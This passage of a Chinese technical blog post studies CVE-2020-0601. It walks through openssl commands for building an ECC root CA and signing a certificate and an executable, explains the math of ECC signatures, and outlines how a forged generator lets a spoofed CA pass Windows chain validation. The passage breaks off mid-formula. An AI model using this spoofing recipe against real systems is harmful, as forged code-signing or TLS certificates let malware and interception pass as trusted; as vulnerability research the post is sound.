00:b3:31:2f:a7:e2:3e:e7:e4:98:8e:05:6b:e3:f8:</span><br><span class="line">                    2d:19:18:1d:9c:6e:fe:81:41:12:03:14:08:8f:50:</span><br><span class="line">                    13:87:5a:c6:56:39:8d:8a:2e:d1:9d:2a:85:c8:ed:</span><br><span class="line">                    d3:ec:2a:ef</span><br><span class="line">                Generator (uncompressed):</span><br><span class="line">                    04:aa:87:ca:22:be:8b:05:37:8e:b1:c7:1e:f3:20:</span><br><span class="line">                    ad:74:6e:1d:3b:62:8b:a7:9b:98:59:f7:41:e0:82:</span><br><span class="line">                    54:2a:38:55:02:f2:5d:bf:55:29:6c:3a:54:5e:38:</span><br><span class="line">                    72:76:0a:b7:36:17:de:4a:96:26:2c:6f:5d:9e:98:</span><br><span class="line">                    bf:92:92:dc:29:f8:f4:1d:bd:28:9a:14:7c:e9:da:</span><br><span class="line">                    31:13:b5:f0:b8:c0:0a:60:b1:ce:1d:7e:81:9d:7a:</span><br><span class="line">                    43:1d:7c:90:ea:0e:5f</span><br><span class="line">                Order:</span><br><span class="line">                    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:</span><br><span class="line">                    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:c7:63:4d:81:f4:</span><br><span class="line">                    37:2d:df:58:1a:0d:b2:48:b0:a7:7a:ec:ec:19:6a:</span><br><span class="line">                    cc:c5:29:73</span><br><span class="line">                Cofactor:  1 (0x1)</span><br><span class="line">                Seed:</span><br><span class="line">                    a3:35:92:6a:a3:19:a2:7a:1d:00:89:6a:67:73:a4:</span><br><span class="line">                    82:7a:cd:ac:73</span><br><span class="line">        X509v3 extensions:</span><br><span class="line">            X509v3 Subject Key Identifier:</span><br><span class="line">                12:55:F0:4C:B9:95:CE:66:4C:24:75:41:57:2C:49:B0:39:93:68:80</span><br><span class="line">            X509v3 Authority Key Identifier:</span><br><span class="line">                keyid:12:55:F0:4C:B9:95:CE:66:4C:24:75:41:57:2C:49:B0:39:93:68:80</span><br><span class="line"></span><br><span class="line">            X509v3 Basic Constraints: critical</span><br><span class="line">                CA:TRUE</span><br><span class="line">    Signature Algorithm: ecdsa-with-SHA256</span><br><span class="line">         30:66:02:31:00:c8:a3:c1:ba:d8:7a:16:db:f9:c7:36:85:f8:</span><br><span class="line">         0c:90:3b:e4:e5:b0:13:76:1d:4a:7d:ed:b1:3b:bf:20:3b:2c:</span><br><span class="line">         8e:e0:96:cd:6b:4f:78:61:b3:ff:77:57:8a:64:13:dd:5d:02:</span><br><span class="line">         31:00:a0:32:86:17:88:bd:38:22:00:e0:2f:ae:e0:d2:86:e6:</span><br><span class="line">         6d:6f:d4:0b:2a:77:48:de:d2:a9:05:a0:d4:df:62:84:0b:e2:</span><br><span class="line">         35:fe:d7:60:15:f1:81:f5:7e:23:0a:07:cc:b2</span><br></pre></td></tr></table></figure><p>这样就相当于<strong>使用密钥对p384-key.pem文件</strong>，创建了一个对应的根证书（CA）文件。这个CA文件具有<strong>给别的CSR签名的权力</strong>。</p><p>那要如何给别的证书签名呢？首先创建一个普通的证书</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem</span><br></pre></td></tr></table></figure><p>这样会创建一个公钥私钥对。然后我们要发起一个证书签名请求:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">$ openssl req -key prime256v1-privkey.pem -new -out prime256v1.csr</span><br><span class="line">You are about to be asked to enter information that will be incorporated</span><br><span class="line">into your certificate request.</span><br><span class="line">What you are about to enter is what is called a Distinguished Name or a DN.</span><br><span class="line">There are quite a few fields but you can leave some blank</span><br><span class="line">For some fields there will be a default value,</span><br><span class="line">If you enter &#x27;.&#x27;, the field will be left blank.</span><br><span class="line">-----</span><br><span class="line">Country Name (2 letter code) [AU]:Test</span><br><span class="line">string is too long, it needs to be no more than 2 bytes long</span><br><span class="line">Country Name (2 letter code) [AU]:AT</span><br><span class="line">State or Province Name (full name) [Some-State]:TestState</span><br><span class="line">Locality Name (eg, city) []:TestCity</span><br><span class="line">Organization Name (eg, company) [Internet Widgits Pty Ltd]:TestOrg</span><br><span class="line">Organizational Unit Name (eg, section) []:TestUT</span><br><span class="line">Common Name (e.g. server FQDN or YOUR name) []:TestCOMM</span><br><span class="line">Email Address []:Test</span><br><span class="line"></span><br><span class="line">Please enter the following &#x27;extra&#x27; attributes</span><br><span class="line">to be sent with your certificate request</span><br><span class="line">A challenge password []:</span><br><span class="line">An optional company name []:</span><br></pre></td></tr></table></figure><p>签名请求里面会包含当前证书公钥私钥对，以及需要被签名的基本信息，例如公司，网站地址，email等基本信息。</p><p>这个证书请求表明我们发起了一个请求，要对这个证书进行签名。之后我们使用根证书来对这个请求进行签名:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl x509 -req -in prime256v1.csr -CA ca-normal.pem -CAkey p384-key.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req</span><br></pre></td></tr></table></figure><p>openssl 将<code>CSR</code>中证书相关的内容提取出来，然后通过指定CA证书，以及生成CA证书时使用的公钥私钥对，使用私钥对证书进行了签名。这个签名完成得到的<code>client-cert.pem</code>就是一个<strong>受到CA验证得到的签名文件</strong>。<br>如果想要给软件签名，首先要打包成<code>pkcs#12</code>的格式</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl pkcs12 -export -in client-cert.crt -inkey prime256v1-privkey.pem  -certfile ca-normal.pem -name &quot;Code Signing&quot; -out cert.p12</span><br></pre></td></tr></table></figure><p>然后使用SDK中提供的工具进行签名:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">signtool.exe sign /f cert.p12 test.exe</span><br></pre></td></tr></table></figure><p>签名完成之后，还能够对文件本身的签名进行验证:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">signtool.exe verify test.exe</span><br></pre></td></tr></table></figure><p>我们来查看一下当前的证书内容:<br><img src="/2020/01/21/CVE-2020-0601-Research/cve00.png" alt=""><br>可以看到<strong>颁发给</strong>这边写的内容为<strong>TestCOMM</strong>，也就是我们发起证书请求的对象。然后查看当前证书详细信息中可以看到如下信息:<br><img src="/2020/01/21/CVE-2020-0601-Research/cve01.png" alt=""><br>可以看到这边写了很多基本的加密信息，其中的颁发者写的<strong>正是我们CA自己的基本信息</strong>。而使用者为<strong>发起证书请求的人</strong>。检查其证书路径（也就是证书链）能够看到如下的逻辑:<br><img src="/2020/01/21/CVE-2020-0601-Research/cve03.png" alt=""><br>这里会发现，我们只能看到<strong>我们自己创建的证书内容，但是没有我们CA的内容</strong>。这是为啥呢？主要是因为我们的CA<strong>是我们自己创建的</strong>。</p><p>总的来说，证书向CA请求签名逻辑如下:<br><img src="/2020/01/21/CVE-2020-0601-Research/cve02.png" alt=""></p><h3 id="证书与通信">证书与通信</h3><p>由于一般的证书颁发都是有一个可信的根证书(Root CA)。所以一般颁发出来的证书实际上都是包含一个<strong>证书路径（证书链）</strong>。我们来看一个例子:</p><p><img src="/2020/01/21/CVE-2020-0601-Research/cve04.png" alt=""></p><p>这个是网站<a href="cnblogs.com">cnblogs.com</a>的证书，可以看到有一个证书颁发链。为了能够帮助计算机快速的对这类使用了<code>TLS/SSL</code>通信协议的网站进行认证，这个根证书会在本地存有一份。我们首先检查这个证书链上根证书的内容:</p><p><img src="/2020/01/21/CVE-2020-0601-Research/cve05.png" alt=""></p><p>然后我们打开计算机上的证书管理器(<code>ctrl+R -&gt; certmsg.msc</code>)可以看到本地也安装了名字一样的证书:</p><p><img src="/2020/01/21/CVE-2020-0601-Research/cve06.png" alt=""></p><p>可以看到证书的名字也一样。通过这种验证方式，就能够让本地快速确定通信对方证书是否可信，从而缩短验证的逻辑。</p><h4 id="root-ca-与-c-s-架构下的加密通信过程">Root CA 与 C/S 架构下的加密通信过程</h4><p>Root CA证书中，包含有一个 CA_PubKey 以及一个公开的k<br>如果这个Root CA证书是自己生成的的话（也就是可以用于签名的CA），那么这个证书中有一个 CA_PrivKey。<em>（注意CA是给证书签名的机构，这个时候证书本身也有公钥和私钥，在CA签发证书的时候这对公私钥不参与运算）</em><br>完成签名后的证书中包含需要使用当前Root CA签名验证的时候，使用<strong>私钥</strong>对原先证书中内容进行的加密。其中证书提交的信息有:</p><ul><li>组织信息</li><li>个人信息</li><li>证书公钥（也就是私钥其实是不需要提供的）</li></ul><p>CA颁发的证书中包含如下内容:</p><ul><li>原先证书中的基本信息</li><li>原先证书的公钥</li><li>上述所有明文信息的hash值，以防止篡改</li><li>CA对上述明文信息hash值使用<strong>私钥加密</strong>后的信息（签名）</li></ul><p>当用户收到这个证书的时候，首先用证书中提到的hash算法对明文信息进行运算，然后会使用<strong>浏览器/计算机中安装了的CA的公钥</strong>对签名进行解密，如果解密出来得到的内容和用户计算得到的hash值一样的话，则可以确定当前证书是合法的，于是可以确认这个证书中记录的公钥合法。从<code>https</code>通信的角度来说，这个时候就能够获得一个用于三次握手的时候，双方用来约定密钥的公钥。之后客户端就能够对自己产生的随机数使用密钥加密，完成和服务器的通信密钥商定。（具体是一个https约定的过程，之后有空可以补上这个过程）</p><h2 id="ecc与ca的关系">ECC与CA的关系</h2><p>在进行步骤<strong>CA对证书请求进行私钥签名</strong>这一步的时候，如果我们选择的加密方式为<code>ECC 椭圆曲线加密</code>的话，实际上会进行一个如下的数学运算：</p><p>设椭圆曲线E为有限域<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>Z</mi><mi>p</mi></msub></mrow><annotation encoding="application/x-tex">Z_p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.969438em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.15139200000000003em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span>上的椭圆曲线，然后选取的p&gt;3为大素数。a为椭圆曲线上的一点，如果ord(a)足够大，则在由a生成的循环群中离散对数问题是难解的，p，E和a都公开（在证书中可以被openssl查到）<br>随机选取整数d，满足1&lt;=d&lt;=ord(a)- 1，计算 b=da,b是公钥，d是私钥</p><p>设明文<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo>∈</mo><mtext>明文空间</mtext></mrow><annotation encoding="application/x-tex">x=(x_1, x_2) \in \text{明文空间}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault">x</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord text"><span class="mord cjk_fallback">明文空间</span></span></span></span></span> 随机选取整数 k 满足 1&lt;=k&lt;= ord(a)，此时密文为<br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mo>=</mo><mo stretchy="false">(</mo><msub><mi>y</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>2</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">y = (y_0,y_1,y_2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span><br>其中满足</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mn>0</mn><mo>=</mo><mi>k</mi><mi>a</mi><mo separator="true">,</mo><mspace linebreak="newline"></mspace><mo stretchy="false">(</mo><msub><mi>c</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>c</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mi>k</mi><mi>d</mi><mtext>（注意这个地方使用私钥加密）</mtext><mspace linebreak="newline"></mspace><msub><mi>y</mi><mn>1</mn></msub><mo>=</mo><msub><mi>c</mi><mn>1</mn></msub><msub><mi>x</mi><mn>1</mn></msub><mi>m</mi><mi>o</mi><mi>d</mi><mi>p</mi><mspace linebreak="newline"></mspace><msub><mi>y</mi><mn>2</mn></msub><mo>=</mo><msub><mi>c</mi><mn>2</mn></msub><msub><mi>x</mi><mn>2</mn></msub><mi>m</mi><mi>o</mi><mi>d</mi><mi>p</mi></mrow><annotation encoding="application/x-tex">y0 = ka,\\(c_1, c_2) = kd \text{（注意这个地方使用私钥加密）}\\y_1 = c_1x_1modp\\y_2 = c_2x_2modp</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="mord mathdefault">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="mord mathdefault">d</span><span class="mord text"><span class="mord cjk_fallback">（注意这个地方使用私钥加密）</span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault">p</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault">p</span></span></span></span></span></p><p>这里注意到，这个运算中，其实关键在于<strong>b=d*a</strong>这个地方的运算。因为实际上a是公开的（记录在证书中的生成元generator），而公钥b我们也是已知的，相当于正是因为<strong>将d隐藏起来，才让这个问题变得难解了</strong>。这要注意到，这个d乘以a的运算并不是通常意义上的乘法，而是定义在椭圆曲线算法上的一种特殊乘法运算，具体就是前文提到的椭圆曲线上形成的循环群中的算法。<br>而这些算法的细节，实际上<strong>会记录在自建的证书中，包括Root CA</strong>。如果我们创建证书的时候，使用了参数<code>-param_enc explicit</code>的场合，我们就能够<strong>自定义椭圆曲线中，所有的参数，包括用于生成公钥的生成元generator的值</strong></p><h2 id="漏洞成因">漏洞成因</h2><p>Windows上的<code>crypt32.dll</code>中的API<code>CertVerifyCertificateChainPolicy</code>和<code>CertDllVerifyMicrosoftRootCertificateChainPolicy</code>会检查当前证书中的证书链。然而在检查的过程中，<strong>Windows只验证了指定证书中的Root CA公钥是否和电脑上缓存的Root CA证书中的公钥是否相等，并未验证生成元是否被篡改了</strong>。如果公钥相等的话就简单的认为，当前颁发证书的CA就是指定的CA。<br>这样我们就有一个这样的逻辑去利用漏洞：</p><ul><li>首先找一个使用了ECC的CA</li><li>读取其中的G，将其替换成一个方便计算的值，这里我们假设替换成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">2^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>，也就是2在这个椭圆曲线定义的阶(order)上的逆元。由于2非常小，所以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">2^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>非常方便计算。</li><li>计算2的逆元乘以公钥PubKey，得到一个伪造的<code>G'</code>:<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>G</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo>=</mo><mi>P</mi><mi>u</mi><mi>b</mi><mi>k</mi><mi>e</mi><mi>y</mi><mo>∗</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">G&#x27;=Pubkey*2^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.751892em;vertical-align:0em;"></span><span class="mord"><span class="mord mathdefault">G</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mord mathdefault">u</span><span class="mord mathdefault">b</span><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="mord mathdefault">e</span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></li><li>将这个<code>G'</code>写入参数证书中，并且将2作为私钥写入到一个我们需要被验证的签名里面，这样的话就能够满足PubKey不变，同时满足<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>u</mi><mi>b</mi><mi>K</mi><mi>e</mi><mi>y</mi><mo>=</mo><msup><mi>G</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo>∗</mo><mi>P</mi><mi>r</mi><mi>i</mi><mi>v</mi><mi>K</mi><mi>e</mi><mi>y</mi><mo>=</mo><mi>P</mi><mi>u</mi><mi>b</mi><mi>K</mi><mi>e</mi><mi>y</mi><mo>∗</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>∗</mo><mn>2</mn><mo>=</mo><mi>P</mi><mi>u</mi><mi>b</mi><mi>K</mi><mi>e</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">PubKey=G&#x27;*PrivKey=PubKey*2^{-1}*2=PubKey</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="mord mathdefault">u</span><span class="mord mathdefault">b</span><span class="mord mathdefault" style="margin-right:0.07153em;">K</span><span class="mord mathdefault">e</span><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span 